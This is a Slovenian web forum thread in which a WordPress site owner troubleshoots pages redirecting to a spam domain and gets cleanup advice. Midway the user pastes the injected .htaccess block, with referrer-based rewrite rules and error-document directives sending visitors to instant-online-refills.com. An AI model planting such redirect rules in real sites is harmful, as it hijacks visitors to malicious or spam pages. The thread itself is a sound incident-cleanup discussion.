Wp strani, ki jih hostam delajo čudne redirecte!

7 naročnikov

Živjo,
torej imam problem, včeraj ko sem na eni od od domen, na katerih je naložen WP, naložil temo, naredil par strani. Ko pa sem strani ki sem jih ustvaril hotel odpreti pa kar naenkrat naletim na recirect na instant-online-refills.com :O??? Kaj za vraga se to dogaja? Si rečem ok, prišlo je do neke napake, odprem drugo stran se logiram v WP uredim post, ga hočem previewat in spet instant-online-refills.com ... deluje mi kot nekakšen čuden virus, uglavnem katero koli stran na katerikoli domeni ki je na istem hostingu odprem me recirecta na omenjen link...

Zelo čudno, kdo ve kaj več? Priporočate da raje kontaktiram hosting support?

Hvala!

Si probal z razlicnimi browserji, da vidis ali je tezava pri tebi ali na hostingu?

Jp,
http://sitecheck.sucuri.net mi najde malware na straneh in v opisu je točna ta stran na katero se stran redirecta. Sedaj pa nevem kako naj zbrišem ta malware??

Zakaj vedno težava v hostingu?
Še preden se sploh kaj razišče.

Zelo verjetno maš malware

Opcija 1.
Skrit je v .htacces
Tega je včasih pain in the ass najdet, ker se zna dobro skrit
Naredi ga čisto na novo

Opcija 2 skrit je v index ali drugih fajlih
Išči razne base64(xycy stringe in to je ponavadi to.

Ja malware je sigurno kot sem v prejšnem postu povedal, mi najde isti malware na straneh kjer se to dogaja.

Kako .htaccess naredim na novo?

in če obstaja kakšna varjanta prečekirat vse fajle za base64* search ukazom?

Wordpress ma nekje za generiat htaccess.
Google is your friend

Za base64 pa takole
Potegni vse dol in z total commanderjem preglej za content.
Če je naš server ti pa lahko jaz pogledam zdele samo javi se na live chat

RewriteEngine On
RewriteCond %{HTTPREFERER} .google. [NC,OR]
RewriteCond %{HTTPREFERER} .bing. [NC,OR]
RewriteCond %{HTTPREFERER} .yahoo. [NC,OR]
RewriteCond %{HTTPREFERER} .facebook. [NC,OR]
RewriteCond %{HTTPREFERER} .twitter. [NC,OR]
RewriteCond %{HTTPREFERER} .live. [NC,OR]
RewriteCond %{HTTPREFERER} .gmail. [NC,OR]
RewriteCond %{HTTPREFERER} .paypal. [NC,OR]
RewriteCond %{HTTPREFERER} .digg. [NC,OR]
RewriteCond %{HTTPREFERER} .reddit. [NC,OR]
RewriteCond %{HTTPREFERER} .baidu. [NC,OR]
RewriteCond %{HTTPREFERER} .adf.ly. [NC,OR]
RewriteCond %{HTTPREFERER} .hotmail. [NC,OR]
RewriteCond %{HTTPREFERER} .amazonaws. [NC,OR]
RewriteCond %{HTTPREFERER} .pinterest. [NC,OR]
RewriteCond %{HTTPREFERER} .stumbleupon. [NC,OR]
RewriteCond %{HTTPREFERER} .bit.ly. [NC,OR]
RewriteCond %{HTTPREFERER} .ow.ly. [NC,OR]
RewriteCond %{HTTPREFERER} .goo.gl. [NC,OR]
RewriteCond %{HTTPREFERER} .tinyurl. [NC,OR]
RewriteCond %{HTTP_REFERER} .t.co. [NC]
RewriteRule .* http://instant-online-refills.com/?wm=19427&tr=8030 [R=301,L]
ErrorDocument 403 http://instant-online-refills.com/?wm=19427&tr=8030
ErrorDocument 404 http://instant-online-refills.com/?wm=19427&tr=8030
ErrorDocument 500 http://instant-online-refills.com/?wm=19427&tr=8030
ErrorDocument 503 http://instant-online-refills.com/?wm=19427&tr=8030

Evo ga v httaccessu :)

Kaj moram zbrisat, samo te zadnih 5?

Ne vem kaj potrebuješ ti za svojo stran in ti težko povem.
Mislim pa da kar vse

AJa pa ne pozabi zamenjat gesel, nadgradit in po možnosti dodat kakšen plugin za security

Bom za, ampak vseeno mislim da mi je malware ena nulled tema prnesla...je to možno?